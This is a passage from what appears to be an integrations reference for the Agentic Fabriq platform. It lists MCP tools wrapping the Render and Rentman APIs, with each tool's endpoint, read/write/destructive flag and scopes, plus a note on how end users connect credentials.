api. render_get_registrycredentials_by_registrycredentialid (read) — Retrieve registry credential via GET /registrycredentials/{registryCredentialId} GET /api/v1/render/registrycredentials/{registryCredentialId}. Scopes: api. render_get_services (read) — List services via GET /services GET /api/v1/render/services. Scopes: api. render_get_services_by_serviceid (read) — Retrieve service via GET /services/{serviceId} GET /api/v1/render/services/{serviceId}. Scopes: api. render_get_services_by_serviceid_custom_domains (read) — List custom domains via GET /services/{serviceId}/custom-domains GET /api/v1/render/services/{serviceId}/custom-domains. Scopes: api. render_get_services_by_serviceid_custom_domains_by_customdomainnameorid (read) — Retrieve custom domain via GET /services/{serviceId}/custom-domains/{customDomainNameOrID} GET /api/v1/render/services/{serviceId}/custom-domains/{customDomainNameOrID}. Scopes: api. render_get_services_by_serviceid_deploys (read) — List deploys via GET /services/{serviceId}/deploys GET /api/v1/render/services/{serviceId}/deploys. Scopes: api. render_get_services_by_serviceid_deploys_by_deployid (read) — Retrieve deploy via GET /services/{serviceId}/deploys/{deployId} GET /api/v1/render/services/{serviceId}/deploys/{deployId}. Scopes: api. render_get_services_by_serviceid_env_vars (read) — List environment variables via GET /services/{serviceId}/env-vars GET /api/v1/render/services/{serviceId}/env-vars. Scopes: api. render_get_services_by_serviceid_env_vars_by_envvarkey (read) — Retrieve environment variable (services) via GET /services/{serviceId}/env-vars/{envVarKey} GET /api/v1/render/services/{serviceId}/env-vars/{envVarKey}. Scopes: api. render_get_services_by_serviceid_events (read) — List events via GET /services/{serviceId}/events GET /api/v1/render/services/{serviceId}/events. Scopes: api. render_get_services_by_serviceid_headers (read) — List header rules via GET /services/{serviceId}/headers GET /api/v1/render/services/{serviceId}/headers. Scopes: api. render_get_services_by_serviceid_instances (read) — List instances via GET /services/{serviceId}/instances GET /api/v1/render/services/{serviceId}/instances. Scopes: api. render_get_services_by_serviceid_jobs (read) — List jobs via GET /services/{serviceId}/jobs GET /api/v1/render/services/{serviceId}/jobs. Scopes: api. render_get_services_by_serviceid_jobs_by_jobid (read) — Retrieve job via GET /services/{serviceId}/jobs/{jobId} GET /api/v1/render/services/{serviceId}/jobs/{jobId}. Scopes: api. render_get_services_by_serviceid_outbound_ips (read) — Retrieve service outbound IPs via GET /services/{serviceId}/outbound-ips GET /api/v1/render/services/{serviceId}/outbound-ips. Scopes: api. render_get_services_by_serviceid_routes (read) — List redirect/rewrite rules via GET /services/{serviceId}/routes GET /api/v1/render/services/{serviceId}/routes. Scopes: api. render_get_services_by_serviceid_secret_files (read) — List secret files via GET /services/{serviceId}/secret-files GET /api/v1/render/services/{serviceId}/secret-files. Scopes: api. render_get_services_by_serviceid_secret_files_by_envvarkey (read) — Retrieve secret file (services) via GET /services/{serviceId}/secret-files/{envVarKey} GET /api/v1/render/services/{serviceId}/secret-files/{envVarKey}. Scopes: api. render_get_task_runs (read) — List task runs via GET /task-runs GET /api/v1/render/task-runs. Scopes: api. render_get_task_runs_by_taskrunid (read) — Retrieve task run via GET /task-runs/{taskRunId} GET /api/v1/render/task-runs/{taskRunId}. Scopes: api. render_get_tasks (read) — List tasks via GET /tasks GET /api/v1/render/tasks. Scopes: api. render_get_tasks_by_taskid (read) — Retrieve task via GET /tasks/{taskId} GET /api/v1/render/tasks/{taskId}. Scopes: api. render_get_users (read) — Get the authenticated user via GET /users GET /api/v1/render/users. Scopes: api. render_get_webhooks (read) — List webhooks via GET /webhooks GET /api/v1/render/webhooks. Scopes: api. render_get_webhooks_by_webhookid (read) — Retrieve a webhook via GET /webhooks/{webhookId} GET /api/v1/render/webhooks/{webhookId}. Scopes: api. render_get_webhooks_by_webhookid_events (read) — List webhook events via GET /webhooks/{webhookId}/events GET /api/v1/render/webhooks/{webhookId}/events. Scopes: api. render_get_workflows (read) — List workflows via GET /workflows GET /api/v1/render/workflows. Scopes: api. render_get_workflows_by_workflowid (read) — Retrieve workflow via GET /workflows/{workflowId} GET /api/v1/render/workflows/{workflowId}. Scopes: api. render_get_workflowversions (read) — List workflow versions via GET /workflowversions GET /api/v1/render/workflowversions. Scopes: api. render_get_workflowversions_by_workflowversionid (read) — Retrieve workflow version via GET /workflowversions/{workflowVersionId} GET /api/v1/render/workflowversions/{workflowVersionId}. Scopes: api. render_patch_blueprints_by_blueprintid (write) — Update Blueprint via PATCH /blueprints/{blueprintId} PATCH /api/v1/render/blueprints/{blueprintId}. Scopes: api. render_patch_dedicated_ips_by_dedicatedipid (write) — Update dedicated IP set via PATCH /dedicated-ips/{dedicatedIpId} PATCH /api/v1/render/dedicated-ips/{dedicatedIpId}. Scopes: api. render_patch_disks_by_diskid (write) — Update disk via PATCH /disks/{diskId} PATCH /api/v1/render/disks/{diskId}. Scopes: api. render_patch_env_groups_by_envgroupid (write) — Update environment group via PATCH /env-groups/{envGroupId} PATCH /api/v1/render/env-groups/{envGroupId}. Scopes: api. render_patch_environments_by_environmentid (write) — Update environment via PATCH /environments/{environmentId} PATCH /api/v1/render/environments/{environmentId}. Scopes: api. render_patch_key_value_by_redisid (write) — Update Key Value instance via PATCH /key-value/{redisId} PATCH /api/v1/render/key-value/{redisId}. Scopes: api. render_patch_maintenance_by_maintenancerunid (write) — Update maintenance run via PATCH /maintenance/{maintenanceRunID} PATCH /api/v1/render/maintenance/{maintenanceRunID}. Scopes: api. render_patch_notification_settings_overrides_services_by_serviceid (write) — Update notification override via PATCH /notification-settings/overrides/services/{serviceId} PATCH /api/v1/render/notification-settings/overrides/services/{serviceId}. Scopes: api. render_patch_notification_settings_owners_by_ownerid (write) — Update notification settings via PATCH /notification-settings/owners/{ownerId} PATCH /api/v1/render/notification-settings/owners/{ownerId}. Scopes: api. render_patch_owners_by_ownerid_members_by_userid (write) — Update workspace member role via PATCH /owners/{ownerId}/members/{userId} PATCH /api/v1/render/owners/{ownerId}/members/{userId}. Scopes: api. render_patch_postgres_by_postgresid (write) — Update Postgres instance via PATCH /postgres/{postgresId} PATCH /api/v1/render/postgres/{postgresId}. Scopes: api. render_patch_projects_by_projectid (write) — Update project via PATCH /projects/{projectId} PATCH /api/v1/render/projects/{projectId}. Scopes: api. render_patch_redis_by_redisid (write) — Update Redis instance via PATCH /redis/{redisId} PATCH /api/v1/render/redis/{redisId}. Scopes: api. render_patch_registrycredentials_by_registrycredentialid (write) — Update registry credential via PATCH /registrycredentials/{registryCredentialId} PATCH /api/v1/render/registrycredentials/{registryCredentialId}. Scopes: api. render_patch_services_by_serviceid (write) — Update service via PATCH /services/{serviceId} PATCH /api/v1/render/services/{serviceId}. Scopes: api. render_patch_services_by_serviceid_routes_by_routeid (write) — Update redirect/rewrite rule priority via PATCH /services/{serviceId}/routes/{routeId} PATCH /api/v1/render/services/{serviceId}/routes/{routeId}. Scopes: api. render_patch_webhooks_by_webhookid (write) — Update a webhook via PATCH /webhooks/{webhookId} PATCH /api/v1/render/webhooks/{webhookId}. Scopes: api. render_patch_workflows_by_workflowid (write) — Update workflow via PATCH /workflows/{workflowId} PATCH /api/v1/render/workflows/{workflowId}. Scopes: api. render_post_cron_jobs_by_cronjobid_runs (write) — Trigger cron job run via POST /cron-jobs/{cronJobId}/runs POST /api/v1/render/cron-jobs/{cronJobId}/runs. Scopes: api. render_post_dedicated_ips (write) — Create dedicated IP set via POST /dedicated-ips POST /api/v1/render/dedicated-ips. Scopes: api. render_post_disks (write) — Add disk via POST /disks POST /api/v1/render/disks. Scopes: api. render_post_disks_by_diskid_snapshots_restore (write) — Restore snapshot via POST /disks/{diskId}/snapshots/restore POST /api/v1/render/disks/{diskId}/snapshots/restore. Scopes: api. render_post_env_groups (write) — Create environment group via POST /env-groups POST /api/v1/render/env-groups. Scopes: api. render_post_env_groups_by_envgroupid_services_by_serviceid (write) — Link service via POST /env-groups/{envGroupId}/services/{serviceId} POST /api/v1/render/env-groups/{envGroupId}/services/{serviceId}. Scopes: api. render_post_environments (write) — Create environment via POST /environments POST /api/v1/render/environments. Scopes: api. render_post_environments_by_environmentid_resources (write) — Add resources to environment via POST /environments/{environmentId}/resources POST /api/v1/render/environments/{environmentId}/resources. Scopes: api. render_post_key_value (write) — Create Key Value instance via POST /key-value POST /api/v1/render/key-value. Scopes: api. render_post_key_value_by_redisid_resume (write) — Resume Key Value instance via POST /key-value/{redisId}/resume POST /api/v1/render/key-value/{redisId}/resume. Scopes: api. render_post_key_value_by_redisid_suspend (write) — Suspend Key Value instance via POST /key-value/{redisId}/suspend POST /api/v1/render/key-value/{redisId}/suspend. Scopes: api. render_post_maintenance_by_maintenancerunid_trigger (write) — Trigger maintenance run via POST /maintenance/{maintenanceRunID}/trigger POST /api/v1/render/maintenance/{maintenanceRunID}/trigger. Scopes: api. render_post_postgres (write) — Create Postgres instance via POST /postgres POST /api/v1/render/postgres. Scopes: api. render_post_postgres_by_postgresid_credentials (write) — Create PostgreSQL User via POST /postgres/{postgresId}/credentials POST /api/v1/render/postgres/{postgresId}/credentials. Scopes: api. render_post_postgres_by_postgresid_export (write) — Create Postgres export via POST /postgres/{postgresId}/export POST /api/v1/render/postgres/{postgresId}/export. Scopes: api. render_post_postgres_by_postgresid_failover (write) — Failover Postgres instance via POST /postgres/{postgresId}/failover POST /api/v1/render/postgres/{postgresId}/failover. Scopes: api. render_post_postgres_by_postgresid_recovery (write) — Trigger point-in-time recovery via POST /postgres/{postgresId}/recovery POST /api/v1/render/postgres/{postgresId}/recovery. Scopes: api. render_post_postgres_by_postgresid_restart (write) — Restart Postgres instance via POST /postgres/{postgresId}/restart POST /api/v1/render/postgres/{postgresId}/restart. Scopes: api. render_post_postgres_by_postgresid_resume (write) — Resume Postgres instance via POST /postgres/{postgresId}/resume POST /api/v1/render/postgres/{postgresId}/resume. Scopes: api. render_post_postgres_by_postgresid_suspend (write) — Suspend Postgres instance via POST /postgres/{postgresId}/suspend POST /api/v1/render/postgres/{postgresId}/suspend. Scopes: api. render_post_projects (write) — Create project via POST /projects POST /api/v1/render/projects. Scopes: api. render_post_redis (write) — Create Redis instance via POST /redis POST /api/v1/render/redis. Scopes: api. render_post_redis_by_redisid_resume (write) — Resume Redis instance via POST /redis/{redisId}/resume POST /api/v1/render/redis/{redisId}/resume. Scopes: api. render_post_redis_by_redisid_suspend (write) — Suspend Redis instance via POST /redis/{redisId}/suspend POST /api/v1/render/redis/{redisId}/suspend. Scopes: api. render_post_registrycredentials (write) — Create registry credential via POST /registrycredentials POST /api/v1/render/registrycredentials. Scopes: api. render_post_services (write) — Create service via POST /services POST /api/v1/render/services. Scopes: api. render_post_services_by_serviceid_cache_purge (write) — Purge Web Service Cache via POST /services/{serviceId}/cache/purge POST /api/v1/render/services/{serviceId}/cache/purge. Scopes: api. render_post_services_by_serviceid_custom_domains (write) — Add custom domain via POST /services/{serviceId}/custom-domains POST /api/v1/render/services/{serviceId}/custom-domains. Scopes: api. render_post_services_by_serviceid_custom_domains_by_customdomainnameorid_verify (write) — Verify DNS configuration via POST /services/{serviceId}/custom-domains/{customDomainNameOrID}/verify POST /api/v1/render/services/{serviceId}/custom-domains/{customDomainNameOrID}/verify. Scopes: api. render_post_services_by_serviceid_deploys (write) — Trigger deploy via POST /services/{serviceId}/deploys POST /api/v1/render/services/{serviceId}/deploys. Scopes: api. render_post_services_by_serviceid_deploys_by_deployid_cancel (write) — Cancel deploy via POST /services/{serviceId}/deploys/{deployId}/cancel POST /api/v1/render/services/{serviceId}/deploys/{deployId}/cancel. Scopes: api. render_post_services_by_serviceid_headers (write) — Add header rule via POST /services/{serviceId}/headers POST /api/v1/render/services/{serviceId}/headers. Scopes: api. render_post_services_by_serviceid_jobs (write) — Create job via POST /services/{serviceId}/jobs POST /api/v1/render/services/{serviceId}/jobs. Scopes: api. render_post_services_by_serviceid_jobs_by_jobid_cancel (write) — Cancel running job via POST /services/{serviceId}/jobs/{jobId}/cancel POST /api/v1/render/services/{serviceId}/jobs/{jobId}/cancel. Scopes: api. render_post_services_by_serviceid_preview (write) — Create service preview (image-backed) via POST /services/{serviceId}/preview POST /api/v1/render/services/{serviceId}/preview. Scopes: api. render_post_services_by_serviceid_restart (write) — Restart service via POST /services/{serviceId}/restart POST /api/v1/render/services/{serviceId}/restart. Scopes: api. render_post_services_by_serviceid_resume (write) — Resume service via POST /services/{serviceId}/resume POST /api/v1/render/services/{serviceId}/resume. Scopes: api. render_post_services_by_serviceid_rollback (write) — Roll back deploy via POST /services/{serviceId}/rollback POST /api/v1/render/services/{serviceId}/rollback. Scopes: api. render_post_services_by_serviceid_routes (write) — Add redirect/rewrite rules via POST /services/{serviceId}/routes POST /api/v1/render/services/{serviceId}/routes. Scopes: api. render_post_services_by_serviceid_scale (write) — Scale instance count via POST /services/{serviceId}/scale POST /api/v1/render/services/{serviceId}/scale. Scopes: api. render_post_services_by_serviceid_suspend (write) — Suspend service via POST /services/{serviceId}/suspend POST /api/v1/render/services/{serviceId}/suspend. Scopes: api. render_post_task_runs (write) — Run task via POST /task-runs POST /api/v1/render/task-runs. Scopes: api. render_post_webhooks (write) — Create a webhook via POST /webhooks POST /api/v1/render/webhooks. Scopes: api. render_post_workflows (write) — Create a workflow via POST /workflows POST /api/v1/render/workflows. Scopes: api. render_post_workflowversions (write) — Deploy a workflow version via POST /workflowversions POST /api/v1/render/workflowversions. Scopes: api. render_put_env_groups_by_envgroupid_env_vars_by_envvarkey (write) — Add or update environment variable (env-groups) via PUT /env-groups/{envGroupId}/env-vars/{envVarKey} PUT /api/v1/render/env-groups/{envGroupId}/env-vars/{envVarKey}. Scopes: api. render_put_env_groups_by_envgroupid_secret_files_by_envvarkey (write) — Add or update secret file (env-groups) via PUT /env-groups/{envGroupId}/secret-files/{envVarKey} PUT /api/v1/render/env-groups/{envGroupId}/secret-files/{envVarKey}. Scopes: api. render_put_logs_streams_owner_by_ownerid (write) — Update log stream via PUT /logs/streams/owner/{ownerId} PUT /api/v1/render/logs/streams/owner/{ownerId}. Scopes: api. render_put_logs_streams_resource_by_resourceid (write) — Update log stream override via PUT /logs/streams/resource/{resourceId} PUT /api/v1/render/logs/streams/resource/{resourceId}. Scopes: api. render_put_metrics_stream_by_ownerid (write) — Create or update metrics stream via PUT /metrics-stream/{ownerId} PUT /api/v1/render/metrics-stream/{ownerId}. Scopes: api. render_put_services_by_serviceid_autoscaling (write) — Update autoscaling config via PUT /services/{serviceId}/autoscaling PUT /api/v1/render/services/{serviceId}/autoscaling. Scopes: api. render_put_services_by_serviceid_env_vars (write) — Update environment variables via PUT /services/{serviceId}/env-vars PUT /api/v1/render/services/{serviceId}/env-vars. Scopes: api. render_put_services_by_serviceid_env_vars_by_envvarkey (write) — Add or update environment variable (services) via PUT /services/{serviceId}/env-vars/{envVarKey} PUT /api/v1/render/services/{serviceId}/env-vars/{envVarKey}. Scopes: api. render_put_services_by_serviceid_headers (write) — Replace header rules via PUT /services/{serviceId}/headers PUT /api/v1/render/services/{serviceId}/headers. Scopes: api. render_put_services_by_serviceid_routes (write) — Update redirect/rewrite rules via PUT /services/{serviceId}/routes PUT /api/v1/render/services/{serviceId}/routes. Scopes: api. render_put_services_by_serviceid_secret_files (write) — Update secret files via PUT /services/{serviceId}/secret-files PUT /api/v1/render/services/{serviceId}/secret-files. Scopes: api. render_put_services_by_serviceid_secret_files_by_envvarkey (write) — Add or update secret file (services) via PUT /services/{serviceId}/secret-files/{envVarKey} PUT /api/v1/render/services/{serviceId}/secret-files/{envVarKey}. Scopes: api. ================================================================================ ## Rentman URL: https://www.agenticfabriq.com/integrations/rentman Section: Integrated Tools Rentman — 314 MCP tools Provider key: rentman. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. rentman_delete_accessories_by_id (write, destructive) — Delete Accessory item. A successful delete returns no content. via DELETE /accessories/{id} DELETE /api/v1/rentman/accessories/{id}. Scopes: api. rentman_delete_alternatives_by_id (write, destructive) — Delete Alternative item. A successful delete returns no content. via DELETE /alternatives/{id} DELETE /api/v1/rentman/alternatives/{id}. Scopes: api. rentman_delete_appointmentcrew_by_id (write, destructive) — Delete AppointmentCrew item. A successful delete returns no content. via DELETE /appointmentcrew/{id} DELETE /api/v1/rentman/appointmentcrew/{id}. Scopes: api. rentman_delete_appointments_by_id (write, destructive) — Delete Appointment item. A successful delete returns no content. via DELETE /appointments/{id} DELETE /api/v1/rentman/appointments/{id}. Scopes: api. rentman_delete_contactpersons_by_id (write, destructive) — Delete ContactPerson item. A successful delete returns no content. via DELETE /contactpersons/{id} DELETE /api/v1/rentman/contactpersons/{id}. Scopes: api. rentman_delete_contacts_by_id (write, destructive) — Delete Contact item. A successful delete returns no content. via DELETE /contacts/{id} DELETE /api/v1/rentman/contacts/{id}. Scopes: api. rentman_delete_costs_by_id (write, destructive) — Delete ProjectCost item. A successful delete returns no content. via DELETE /costs/{id} DELETE /api/v1/rentman/costs/{id}. Scopes: api. rentman_delete_crewavailability_by_id (write, destructive) — Delete CrewAvailability item. A successful delete returns no content. via DELETE /crewavailability/{id} DELETE /api/v1/rentman/crewavailability/{id}. Scopes: api. rentman_delete_equipmentsetscontent_by_id (write, destructive) — Delete EquipmentSetContent item. A successful delete returns no content. via DELETE /equipmentsetscontent/{id} DELETE /api/v1/rentman/equipmentsetscontent/{id}. Scopes: api. rentman_delete_projectrequestequipment_by_id (write, destructive) — Delete ProjectRequestEquipment item. A successful delete returns no content. via DELETE /projectrequestequipment/{id} DELETE /api/v1/rentman/projectrequestequipment/{id}. Scopes: api. rentman_delete_projectrequests_by_id (write, destructive) — Delete ProjectRequest item. A successful delete returns no content. via DELETE /projectrequests/{id} DELETE /api/v1/rentman/projectrequests/{id}. Scopes: api. rentman_delete_serialnumbers_by_id (write, destructive) — Delete SerialNumber item. A successful delete returns no content. via DELETE /serialnumbers/{id} DELETE /api/v1/rentman/serialnumbers/{id}. Scopes: api. rentman_delete_stockmovements_by_id (write, destructive) — Delete StockMovement item. A successful delete returns no content. via DELETE /stockmovements/{id} DELETE /api/v1/rentman/stockmovements/{id}. Scopes: api. rentman_delete_subtasks_by_id (write, destructive) — Delete Subtask item. A successful delete returns no content. via DELETE /subtasks/{id} DELETE /api/v1/rentman/subtasks/{id}. Scopes: api. rentman_delete_suppliers_by_id (write, destructive) — Delete Supplier item. A successful delete returns no content. via DELETE /suppliers/{id} DELETE /api/v1/rentman/suppliers/{id}. Scopes: api. rentman_delete_taskassignments_by_id (write, destructive) — Delete TaskAssignment item. A successful delete returns no content. via DELETE /taskassignments/{id} DELETE /api/v1/rentman/taskassignments/{id}. Scopes: api. rentman_delete_tasks_by_id (write, destructive) — Delete Task item. A successful delete returns no content. via DELETE /tasks/{id} DELETE /api/v1/rentman/tasks/{id}. Scopes: api. rentman_delete_taskstatuses_by_id (write, destructive) — Delete TaskStatus item. A successful delete returns no content. via DELETE /taskstatuses/{id} DELETE /api/v1/rentman/taskstatuses/{id}. Scopes: api. rentman_delete_timeregistration_by_id (write, destructive) — Delete TimeRegistration item. A successful delete returns no content. via DELETE /timeregistration/{id} DELETE /api/v1/rentman/timeregistration/{id}. Scopes: api. rentman_delete_vehicles_by_id (write, destructive) — Delete Vehicle item. A successful delete returns no content. via DELETE /vehicles/{id} DELETE /api/v1/rentman/vehicles/{id}. Scopes: api. rentman_get_accessories (read) — Get Accessory collection -- Represents accessories of an equipment item. Each equipment can have multiple accessories. Accessories are equipment items themselves. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /accessories GET /api/v1/rentman/accessories. Scopes: api. rentman_get_accessories_by_id (read) — Get Accessory item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /accessories/{id} GET /api/v1/rentman/accessories/{id}. Scopes: api. rentman_get_actualcontent (read) — Get ActualContent collection -- Represents the actual content of serialized physical combinations. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /actualcontent GET /api/v1/rentman/actualcontent. Scopes: api. rentman_get_actualcontent_by_id (read) — Get ActualContent item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /actualcontent/{id} GET /api/v1/rentman/actualcontent/{id}. Scopes: api. rentman_get_alternatives (read) — Get Alternative collection -- Represents alternatives of an equipment item. Each equipment can have multiple alternatives. Alternatives are equipment items themselves. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /alternatives GET /api/v1/rentman/alternatives. Scopes: api. rentman_get_alternatives_by_id (read) — Get Alternative item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /alternatives/{id} GET /api/v1/rentman/alternatives/{id}. Scopes: api. rentman_get_appointmentcrew (read) — Get AppointmentCrew collection -- With this endpoint, you could retrieve which crew member is linked to an appointment. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /appointmentcrew GET /api/v1/rentman/appointmentcrew. Scopes: api. rentman_get_appointmentcrew_by_id (read) — Get AppointmentCrew item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /appointmentcrew/{id} GET /api/v1/rentman/appointmentcrew/{id}. Scopes: api. rentman_get_appointments (read) — Get Appointment collection -- With this endpoint, you could read, write, update and delete appointments. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /appointments GET /api/v1/rentman/appointments. Scopes: api. rentman_get_appointments_by_id (read) — Get Appointment item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /appointments/{id} GET /api/v1/rentman/appointments/{id}. Scopes: api. rentman_get_appointments_by_id_appointmentcrew (read) — Get AppointmentCrew collection -- With this endpoint, you could retrieve which crew member is linked to an appointment. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /appointments/{id}/appointmentcrew GET /api/v1/rentman/appointments/{id}/appointmentcrew. Scopes: api. rentman_get_contactpersons (read) — Get ContactPerson collection -- Represents a person or department within a Contact. A Person item is always associated with one Contact. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contactpersons GET /api/v1/rentman/contactpersons. Scopes: api. rentman_get_contactpersons_by_id (read) — Get ContactPerson item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contactpersons/{id} GET /api/v1/rentman/contactpersons/{id}. Scopes: api. rentman_get_contactpersons_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contactpersons/{id}/file_folders GET /api/v1/rentman/contactpersons/{id}/file_folders. Scopes: api. rentman_get_contactpersons_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contactpersons/{id}/files GET /api/v1/rentman/contactpersons/{id}/files. Scopes: api. rentman_get_contactpersons_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contactpersons/{id}/tasks GET /api/v1/rentman/contactpersons/{id}/tasks. Scopes: api. rentman_get_contacts (read) — Get Contact collection -- Represents a company or a private person. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contacts GET /api/v1/rentman/contacts. Scopes: api. rentman_get_contacts_by_id (read) — Get Contact item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contacts/{id} GET /api/v1/rentman/contacts/{id}. Scopes: api. rentman_get_contacts_by_id_contactpersons (read) — Get ContactPerson collection -- Represents a person or department within a Contact. A Person item is always associated with one Contact. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contacts/{id}/contactpersons GET /api/v1/rentman/contacts/{id}/contactpersons. Scopes: api. rentman_get_contacts_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contacts/{id}/file_folders GET /api/v1/rentman/contacts/{id}/file_folders. Scopes: api. rentman_get_contacts_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contacts/{id}/files GET /api/v1/rentman/contacts/{id}/files. Scopes: api. rentman_get_contacts_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contacts/{id}/tasks GET 